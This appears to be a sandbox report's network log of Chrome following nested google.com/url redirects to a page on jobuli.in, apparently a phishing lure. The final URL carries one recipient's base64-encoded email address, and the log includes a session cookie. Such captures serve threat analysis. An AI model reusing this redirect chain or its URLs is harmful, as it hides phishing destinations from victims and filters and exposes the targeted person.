2025-01-14 14:23:40 UTC	125	IN	Data Raw: 65 7a 56 4e 52 54 51 6d 54 46 68 74 65 44 46 50 55 57 64 6b 57 46 42 5a 63 33 73 31 64 30 63 35 65 31 46 46 4e 69 5a 44 54 30 59 30 4a 6a 4d 7a 4a 6e 56 35 5a 6e 55 75 62 32 5a 6c 5a 57 70 70 4d 7a 4d 6d 52 54 51 6d 64 48 52 69 62 57 51 78 4d 79 5a 76 59 6e 46 30 52 44 51 6d 51 6a 45 6d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: ezVNRTQmTFhteDFPUWdkWFBZc3s1d0c5e1FFNiZDT0Y0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEm">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49719	216.58.206.36	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:40 UTC	2291	OUT	GET /url?q=https://www.google.com/url?q=https://www.google.com/url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROU [TRUNCATED] Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SbEnxUSlQQhaaY8DHS7Cr4pTI2L9wYUj1ih-fS53pb8NU0k9UEqOeurHDhx-yM3gDdCPOhnHgwsyGk0BtZPI0E92hoPcwK7KNH6hyCDHrwRGAItt2-uaW7O2r0mz_okIlx3i3VrEcyCXTsuBaKLY8szxuEaluMoOhX0raBTuWjDcOSShJt6lRJri4WBpw4tQTWK3lP04jg
2025-01-14 14:23:40 UTC	1981	IN	HTTP/1.1 302 Found Location: https://www.google.com/url?q=https://www.google.com/url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUE [TRUNCATED] Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-j7JqKaXQvUC6SgoKs37b-A' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() Date: Tue, 14 Jan 2025 14:23:40 GMT Server: gws Content-Length: 1605 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-14 14:23:40 UTC	1605	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 3d 2e 2f 2f 2f 2f 61 6d 70 2f 73 2f 6a 6f 62 75 6c 69 2e 69 6e 2f 77 69 6e 6e 65 72 2f 73 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/url?q=https://www.google.com/url?q=.////amp/s/jobuli.in/winner/s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49720	216.58.206.36	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:41 UTC	2262	OUT	GET /url?q=https://www.google.com/url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3 [TRUNCATED] Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SbEnxUSlQQhaaY8DHS7Cr4pTI2L9wYUj1ih-fS53pb8NU0k9UEqOeurHDhx-yM3gDdCPOhnHgwsyGk0BtZPI0E92hoPcwK7KNH6hyCDHrwRGAItt2-uaW7O2r0mz_okIlx3i3VrEcyCXTsuBaKLY8szxuEaluMoOhX0raBTuWjDcOSShJt6lRJri4WBpw4tQTWK3lP04jg
2025-01-14 14:23:41 UTC	1952	IN	HTTP/1.1 302 Found Location: https://www.google.com/url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3B [TRUNCATED] Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-AihotYyNydpw7rmspw9rpg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() Date: Tue, 14 Jan 2025 14:23:41 GMT Server: gws Content-Length: 1576 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-14 14:23:41 UTC	1576	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 72 6c 3f 71 3d 2e 2f 2f 2f 2f 61 6d 70 2f 73 2f 6a 6f 62 75 6c 69 2e 69 6e 2f 77 69 6e 6e 65 72 2f 73 58 74 78 67 2f 62 57 46 79 63 32 68 68 4c 6e 4a 76 64 32 78 68 62 6d 52 41 59 32 68 6c Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49721	216.58.206.36	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:42 UTC	2233	OUT	GET /url?q=.////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQ [TRUNCATED] Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SbEnxUSlQQhaaY8DHS7Cr4pTI2L9wYUj1ih-fS53pb8NU0k9UEqOeurHDhx-yM3gDdCPOhnHgwsyGk0BtZPI0E92hoPcwK7KNH6hyCDHrwRGAItt2-uaW7O2r0mz_okIlx3i3VrEcyCXTsuBaKLY8szxuEaluMoOhX0raBTuWjDcOSShJt6lRJri4WBpw4tQTWK3lP04jg
2025-01-14 14:23:42 UTC	1944	IN	HTTP/1.1 302 Found Location: https://www.google.com////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N [TRUNCATED] Cache-Control: private Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-kIghIlUmS6f5LGV7a022OQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Permissions-Policy: unload=() Date: Tue, 14 Jan 2025 14:23:42 GMT Server: gws Content-Length: 1568 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-14 14:23:42 UTC	1568	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 2f 2f 2f 61 6d 70 2f 73 2f 6a 6f 62 75 6c 69 2e 69 6e 2f 77 69 6e 6e 65 72 2f 73 58 74 78 67 2f 62 57 46 79 63 32 68 68 4c 6e 4a 76 64 32 78 68 62 6d 52 41 59 32 68 6c 63 6d 39 72 5a 57 56 69 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49722	216.58.206.36	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:23:43 UTC	2225	OUT	GET ////amp/s/jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=?0s57db=MTMmMTMmMTMmMTMmQjEmRjQmb2JxdEczJkQ0Jk11bHdyVGhHeUtZLi45SjNYNlJyamY6ckY0JjMzJnV5ZnUub2ZlZWppMzMmRTQmdHRibWQxMyZvYnF0RDQmQjEmRjQmbW51aUczJkQ0JkIxJkY0JnplcGNHMyZENCZCMSZGNCZ6ZXBjRDQmQjEmRjQmZWJmaUczJkQ0JkIxJkY0JmZtenV0RzMmRDQmMTMmMTMmMTMmMTMmQjEmRTgmMTMmMTMmMTMmMTMmMTMmMTMmMTMmMTMmQjEmQzQmb2ZlZWppMTMmQjQmenVqbWpjanRqdzEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJjEzJkIxJkM0JmZ1aml4MTMmQjQmc3BtcGQxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZDOCYxMyZ1eWZ1Lm9mZWVqaS8xMyYxMyYxMyYxMyYxMyYxMyYxMyYxMyZCMSZGNCZmbXp1dEQ0JjEzJjEzJjEzJjEzJkIxJkY0JmZtdWp1RzMmRDQmZm5wSUY0JmZtdWp1RDQmMTMmMTMmMTMmMTMmQjEmRzMmKzEzJmZzMTMmZWViMTMmRTQmRTQmRTQmRTQmRTQmRTQmRDQmMTMmK0czJjEzJjEzJkY0JjMzJkI6NjMmMTk2MyYzRjYzJkRCNjMmMzk2MyYzRjYzJjRCNjMmNEQ2MyY1MyY1MyZCOjYzJjE5NjMmM0Y2MyZEQjYzJjM5NjMmM0Y2MyY0QjYzJjRENjMmRTQmRTQmeGN6Nnpka21IZXtHSGN4MlRaelM0Wm1HSFJpT1hidkdIZXs2VFp2R25bbVM0ZEczJkROUEVHMyZ6ZndzdnR0c2Z6YkczJmx2L3BkL3pmd3N2dHRzZnpiRzMmRzMmQjQmdHF1dWl [TRUNCATED] Host: www.google.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=520=SbEnxUSlQQhaaY8DHS7Cr4pTI2L9wYUj1ih-fS53pb8NU0k9UEqOeurHDhx-yM3gDdCPOhnHgwsyGk0BtZPI0E92hoPcwK7KNH6hyCDHrwRGAItt2-uaW7O2r0mz_okIlx3i3VrEcyCXTsuBaKLY8szxuEaluMoOhX0raBTuWjDcOSShJt6lRJri4WBpw4tQTWK3lP04jg
2025-01-14 14:23:43 UTC	889	IN	HTTP/1.1 302 Found Location: https://jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20= Cache-Control: private X-Robots-Tag: noindex Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-9dwN4p5WzVgdtcFMhD82PA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Permissions-Policy: unload=() Date: Tue, 14 Jan 2025 14:23:43 GMT Server: gws Content-Length: 272 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-14 14:23:43 UTC	272	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 6a 6f 62 75 6c 69 2e 69 6e 2f 77 69 6e 6e 65 72 2f 73 58 74 78 67 2f 62 57 46 79 63 32 68 68 4c 6e 4a 76 64 32 78 68 62 6d 52 41 59 32 68 6c 63 6d 39 72 5a 57 56 69 63 6d 6c 6a 61 79 35 6a 62 32 30 3d 22 3e 68 65 72 65 3c 2f 41 3e 2e 0d Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://jobuli.in/winner/sXtxg/bWFyc2hhLnJvd2xhbmRAY2hlcm9rZWVicmljay5jb20=">here</A>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49723	103.83.194.55	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
